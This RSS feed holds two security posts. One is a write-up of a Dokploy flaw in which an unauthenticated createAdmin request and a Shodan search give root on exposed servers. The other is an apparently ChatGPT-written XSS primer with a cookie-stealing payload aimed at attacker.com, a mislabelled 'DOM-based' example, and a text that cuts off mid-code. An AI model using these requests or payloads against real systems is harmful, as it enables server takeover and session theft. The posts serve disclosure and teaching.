<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Bour Abdelhadi</title>
    <description>The latest articles on Forem by Bour Abdelhadi (@bscript).</description>
    <link>https://forem.com/bscript</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F626546%2Fce096ab6-5bf8-47da-854b-92acff26d4b1.jpg</url>
      <title>Forem: Bour Abdelhadi</title>
      <link>https://forem.com/bscript</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/bscript"/>
    <language>en</language>
    <item>
      <title>How I Accidentally Became an Admin on 600 Servers</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Tue, 27 Aug 2024 07:36:05 +0000</pubDate>
      <link>https://forem.com/bscript/how-i-accidentally-became-an-admin-on-600-servers-3ghc</link>
      <guid>https://forem.com/bscript/how-i-accidentally-became-an-admin-on-600-servers-3ghc</guid>
      <description>&lt;p&gt;As I was going through Hacker News, a &lt;a href="https://news.ycombinator.com/item?id=41358020" rel="noopener noreferrer"&gt;trending topic&lt;/a&gt; about &lt;a href="https://dokku.com/" rel="noopener noreferrer"&gt;Dokku&lt;/a&gt; caught my eye—it was the top-ranked post at the time. For those who aren't familiar, &lt;a href="https://dokku.com/" rel="noopener noreferrer"&gt;Dokku&lt;/a&gt; is an open-source Platform as a Service (PaaS) that you can run on your own server. It’s often compared to Heroku, but with the added benefit of complete ownership and control.&lt;/p&gt;

&lt;p&gt;The article was insightful, but what really piqued my interest was a comment mentioning a similar tool called &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt;. It’s like &lt;a href="https://dokku.com/" rel="noopener noreferrer"&gt;Dokku&lt;/a&gt;, but with a more user-friendly interface—a great addition for those who appreciate simplicity. Kudos to the team/developer behind it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dzeiin5jmncgf8ocoqq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dzeiin5jmncgf8ocoqq.png" alt="HN Post" width="800" height="314"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Being someone who enjoys exploring the security aspects of applications, I was curious to see how many people were using &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt;, especially since it had gained &lt;a href="https://github.com/Dokploy/dokploy" rel="noopener noreferrer"&gt;5.6k stars&lt;/a&gt;. My goal was to identify any vulnerabilities that could potentially compromise the instances running this tool.&lt;/p&gt;

&lt;h3&gt;
  
  
  Starting with the Basics
&lt;/h3&gt;

&lt;p&gt;When testing applications, I often begin by looking for low-hanging fruit—vulnerabilities that are easy to find and exploit. In today's fast-paced development environment, small security oversights are common, so they’re often the most fruitful areas to explore.&lt;/p&gt;

&lt;p&gt;Before downloading &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt; to my local machine, I watched &lt;a href="https://www.youtube.com/watch?v=mznYKPvhcfw" rel="noopener noreferrer"&gt;the demo&lt;/a&gt; on the official &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;website&lt;/a&gt;. Around the &lt;a href="https://youtu.be/mznYKPvhcfw?t=169" rel="noopener noreferrer"&gt;2:49&lt;/a&gt; mark during the registration process, several questions came to mind as part of the threat modeling process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Will the &lt;code&gt;/register&lt;/code&gt; route remain accessible after the initial registration, potentially allowing unauthorized users to create accounts?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Could an attacker exploit this route to create a new user or override an existing one?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Is there a role-based access control (RBAC) mechanism implemented to manage permissions effectively and ensure that users only have access to resources appropriate to their roles?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Are there any additional security measures in place to prevent unauthorized access or privilege escalation?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;.. etc&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These questions are critical for understanding the potential risks and ensuring the security of the application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Diving into Dokploy
&lt;/h3&gt;

&lt;p&gt;I followed the &lt;a href="https://docs.dokploy.com/en/docs/core/get-started/manual-installation" rel="noopener noreferrer"&gt;manual installation&lt;/a&gt; steps because I prefer to know exactly what’s running on my machine. After building the Docker image and registering a new account, I intercepted the registration request to examine its details:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The API endpoint used&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The request body content&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s what the registration request looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl 'http://127.0.0.1:3000/api/trpc/auth.createAdmin?batch=1' \
  -H 'Accept: */*' \
  -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ro;q=0.7' \
  -H 'Connection: keep-alive' \
  -H 'Origin: http://127.0.0.1:3000' \
  -H 'Referer: http://127.0.0.1:3000/register' \
  -H 'Sec-Fetch-Dest: empty' \
  -H 'Sec-Fetch-Mode: cors' \
  -H 'Sec-Fetch-Site: same-origin' \
  -H 'User-Agent: [REDACTED] \
  -H 'content-type: application/json' \
  -H 'sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"' \
  -H 'sec-ch-ua-mobile: ?0' \
  -H 'sec-ch-ua-platform: "macOS"' \
  --data-raw '{"0":{"json":{"email":"test@gmail.com","password":"[REDACTED]"}}}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this information, I then used &lt;a href="https://shodan.io" rel="noopener noreferrer"&gt;Shodan&lt;/a&gt;, a search engine for finding specific devices connected to the internet, to locate instances running &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt;. My search query &lt;code&gt;"http.html:Dokploy"&lt;/code&gt; returned about &lt;code&gt;610&lt;/code&gt; IPs. Interestingly, 158 of these were in Germany, likely because many users opted for Hetzner's VPS hosting, which offers competitive pricing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17kfp979vzlvomjdxm0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17kfp979vzlvomjdxm0y.png" alt="Shodan dokploy" width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, to address my earlier questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can an attacker create a new user or override the current legitimate user?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
It turns out, yes, they can. By manipulating the registration API endpoint (&lt;code&gt;api/trpc/auth.createAdmin?batch=1&lt;/code&gt;) and altering the request body, it’s possible to create a new admin user or even override the existing one.&lt;/p&gt;

&lt;p&gt;Here’s what the response looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"data"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"json"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This response confirmed that I successfully created a new user and could log in as an administrator. But that wasn’t all—I found an endpoint that returned sensitive information, such as project details and admin user data.&lt;/p&gt;

&lt;p&gt;And as if that wasn’t enough, I accessed the terminal via the &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt; control panel and ran the &lt;code&gt;whoami&lt;/code&gt; command, which returned :3&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;/usr/share/nginx/html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;whoami&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;root&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This indicated that I had full control over the server with root privileges—a significant security concern.&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;Creating tools like &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt; is commendable, and it's clear that the team behind it has put in a lot of effort. However, it’s equally important to involve security experts early in the development process to identify and mitigate potential vulnerabilities before the tool is released into production.&lt;/p&gt;

&lt;p&gt;Addressing low-hanging vulnerabilities is a crucial first step in ensuring the security of any application. While I didn’t have time to explore every potential issue, I hope this initial exploration serves as a starting point for others in the security community to further investigate and contribute to the project's improvement.&lt;/p&gt;




&lt;p&gt;I contacted the owner of the &lt;a href="https://dokploy.com/" rel="noopener noreferrer"&gt;Dokploy&lt;/a&gt; project to report the vulnerability I found, and I was impressed by how quickly he responded. Not only did he reply promptly, but he also &lt;a href="https://github.com/Dokploy/dokploy/releases/tag/v0.7.2" rel="noopener noreferrer"&gt;pushed a fix&lt;/a&gt; with impressive speed. It's great to see such a proactive approach to security.&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Understanding XSS with ChatGPT</title>
      <dc:creator>Bour Abdelhadi</dc:creator>
      <pubDate>Tue, 06 Dec 2022 22:32:14 +0000</pubDate>
      <link>https://forem.com/bscript/understanding-xss-with-chatgpt-2l5d</link>
      <guid>https://forem.com/bscript/understanding-xss-with-chatgpt-2l5d</guid>
      <description>&lt;p&gt;I recently asked chatGPT some questions about XSS in nodejs application , and the response was incredibly amazing. chatGPT provided detailed and accurate information, and even provided examples and code snippets to illustrate its points.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;All the information below is provided by chatGPT&lt;/strong&gt; ⬇&lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;
Types of XSS Attacks

&lt;ul&gt;
&lt;li&gt;Reflected XSS&lt;/li&gt;
&lt;li&gt;Stored XSS&lt;/li&gt;
&lt;li&gt;DOM-based XSS&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Preventing XSS Attacks in Node.js&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Cross-site scripting (XSS) is a type of vulnerability that allows attackers to inject malicious code into a website. This can be used to steal user data, deface a website, or perform other malicious actions. In this article, we'll take a look at XSS attacks in Node.js, including the different types of XSS attacks and how to prevent them.&lt;/p&gt;

&lt;h2&gt;
  
  
  Types of XSS Attacks
&lt;/h2&gt;

&lt;p&gt;There are three main types of XSS attacks: reflected, stored, and DOM-based XSS.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reflected XSS
&lt;/h3&gt;

&lt;p&gt;Reflected XSS attacks occur when an attacker injects malicious code into a website through a URL. The malicious code is then executed when the victim clicks on the URL. For example, an attacker might create a special link that includes malicious code, and then send that link to the victim in an email or on social media. When the victim clicks on the link, the code is executed on their browser.&lt;/p&gt;

&lt;p&gt;Here's an example of vulnerable code in Node.js that is susceptible to reflected XSS attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/search&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;search-results&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this code, if the &lt;code&gt;query&lt;/code&gt; parameter is not properly sanitized, an attacker could supply a malicious value for the &lt;code&gt;q&lt;/code&gt; parameter that would be executed on the user's browser. For example, an attacker might craft a special URL that includes the following code as the &lt;code&gt;q&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://www.example.com/search?q=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the victim clicks on this link, the code &lt;code&gt;&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/code&gt; is executed on their browser, causing an alert box to pop up with the message "XSS".&lt;/p&gt;

&lt;h3&gt;
  
  
  Stored XSS
&lt;/h3&gt;

&lt;p&gt;Stored XSS attacks occur when an attacker injects malicious code into a website's database. The code is then executed when a victim views a page on the website that retrieves data from the database. For example, an attacker might inject malicious code into a website's comments section, and then wait for a victim to view the comments. When the victim views the comments, the code is executed on their browser.&lt;/p&gt;

&lt;p&gt;Here's an example of vulnerable code in Node.js that is susceptible to stored XSS attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/comment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addComment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/post/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;postId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this code, if the &lt;code&gt;comment&lt;/code&gt; parameter is not properly sanitized, an attacker could supply a malicious value for the &lt;code&gt;comment&lt;/code&gt; parameter that would be executed on the user's browser when they view the post. For example, an attacker might supply the following code as the &lt;code&gt;comment&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.location="http://attacker.com/steal-cookie.php?"+document.cookie&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a victim views the post, the code is executed on their browser and their cookies are sent to the attacker's website.&lt;/p&gt;

&lt;h3&gt;
  
  
  DOM-based XSS
&lt;/h3&gt;

&lt;p&gt;DOM-based XSS attacks occur when an attacker manipulates a website's Document Object Model (DOM) to execute malicious code. The code is executed on the victim's browser when they visit the website. For example, an attacker might manipulate a website's JavaScript code to include malicious code that is executed when a victim views the website.&lt;/p&gt;

&lt;p&gt;Here's an example of vulnerable code in Node.js that is susceptible to DOM-based XSS attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;home&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this code, if the &lt;code&gt;user&lt;/code&gt; object is not properly sanitized, an attacker could manipulate its properties to include malicious code that is executed on the user's browser. For example, an attacker might manipulate the &lt;code&gt;user&lt;/code&gt; object to include the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  username: 'attacker',
  avatar: '&amp;lt;img src="x" onerror="alert(\'XSS\')"&amp;gt;'
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the victim views the homepage, the code &lt;code&gt;&amp;lt;img src="x" onerror="alert('XSS')"&amp;gt;&lt;/code&gt; is executed on their browser, causing an alert box to pop up with the message "XSS".&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing XSS Attacks in Node.js
&lt;/h2&gt;

&lt;p&gt;To prevent XSS attacks in your Node.js application, you should always &lt;strong&gt;sanitize&lt;/strong&gt; user input to remove &lt;em&gt;any potentially malicious code&lt;/em&gt;. This can be done using a library like xss-clean or by implementing your own sanitization function.&lt;/p&gt;

&lt;p&gt;Here are some examples of how you can update the vulnerable code examples from earlier to prevent XSS attacks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Reflected XSS&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/search&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitizeInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;q&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;search-results&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;results&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Stored XSS&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/comment&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitizeInput&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addComment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;comment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
